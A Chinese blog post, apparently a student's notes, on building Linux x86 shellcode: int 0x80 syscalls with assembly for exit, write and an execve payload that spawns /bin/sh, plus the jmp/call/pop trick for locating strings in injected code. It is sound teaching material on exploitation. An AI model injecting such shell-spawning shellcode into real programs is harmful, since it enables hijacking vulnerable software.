0%

记第一次shellcode的构造

  在软件安全课上通过自带后门小程序完成了自己的第一个shellcode,借此总结下sellcode构造时的一些需要注意的问题和构造的技巧,同时开shellcode的坑,后面遇到shellcode的题目也会写到这个tag下。


Shellcode

  Shellcode指的是一系列特意构造的指令注入一个程序来入侵该程序。Shellcode名字来源于其最开始时为了通过构造指令来得到一个root的shell。


构造shellcode时的一些功能实现

  shellcode由于其指令的位置的特殊,初学时主要是通过int 0x80系统软中断去读取eax寄存器中的中断调用号来执行一些系统调用,目前已知的int 0x80软终端syscall有:

exit: 
    退出程序
  参数:  
    中断调用号:0x1 -> eax
    退出值:ebx
  exp:
    xor eax,eax
    xor ebx,ebx
    mov al,1
    int 0x80

execve:
    调用某程序,传参执行,很多情况下用来弹一个shell
  参数:
    中断调用号:0x0b -> eax
    程序路径字符串指针:ebx
    程序参数字符串:ecx
    envp: edx(一般为NULL)
  exp: 弹一个shell(/bin/sh),假设字符串"/bin/sh"地址指针在esi
    xor eax,eax
    mov byte [esi+7],al
    lea ebx,[esi]
    mov long [esi+8],ebx
    mov long [esi+12],eax
    mov byte al,0x0b
    mov ebx,esi
    lea ecx,[esi+8]
    lea edx,[esi+12]
    int 0x80

write:
    向文件描述符对应文件写入指定长度字符串数据
  参数:
    中断调用号:0x4 ->eax
    文件描述符:ebx
    字符串数据:ecx
    字符串长度:edx
  exp: 设esi为某段字符串地址,长度为len,在终端打印字符串
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    xor edx,edx
    lea ecx,[esi]
    mov al,0x4
    mov bl,1;stdout的文件描述符
    mov dl,len
    int 0x80

后面遇到其他的会继续补充 . . .


shellcode的构造技巧

  由于shellcode大多数情况下都是利用一些scanf等漏洞读入的,所以其存放地址根本无法确定,其中不能用绝对地址引用任何东西,那对于一段字符串,怎么获取其存放地址呢,shellcoder’s handbook给了一种巧妙的方法,如下:

call指令法:
    在汇编中,call指令往往被解析为push和jmp。push即将call指令的下一条指令地址压栈,
    方便返回时使用,jmp即跳转到call的地址执行,此处便可利用这一原理,得到字符串或者说
    定位整个shellcode.
    比如,如果要执行一个打印字符串到终端的shellcode时,其构造的汇编代码如下:

Section .text
    global _start
_start: 
    jmp short Call;跳转到call指令
shellcode:
    pop esi;从栈中得到字符串地址
    ;寄存器置零
    xor eax,eax
    xor ebx,ebx
    xor edx,edx
    xor ecx,ecx
    ;write系统调用的参数配置,见上文
    lea ecx,[esi]
    mov dl,0x0C
    mov bl,0x1
    mov al,0x4
    int 0x80
    ;exit系统调用的参数配置,见上文
    xor ebx,ebx
    mov al,1
    int 0x80
Call:
    Call shellcode;跳转执行,并将字符串地址压栈
    DB 'Your string.';代打印字符串

  可以看到,上述例子很巧妙的使用call指令结合pop esi指令得到了shellcode的定位。写博客过程中,突然发现,call pop这两者简直是绝配,软安上早已了解过两者的一次强大配合定位当前指令,即call 0,pop ecx,call 0 将下一条指令压栈,然后立即pop ecx,将返回地址弹出放入ecx,便获得了当前的指令地址。


内存中查找已载入的函数进行调用

  除了系统调用外,还可以通过shellcode去调用程序中使用而载入内存的函数,此处我还没有了解到,待续 . . .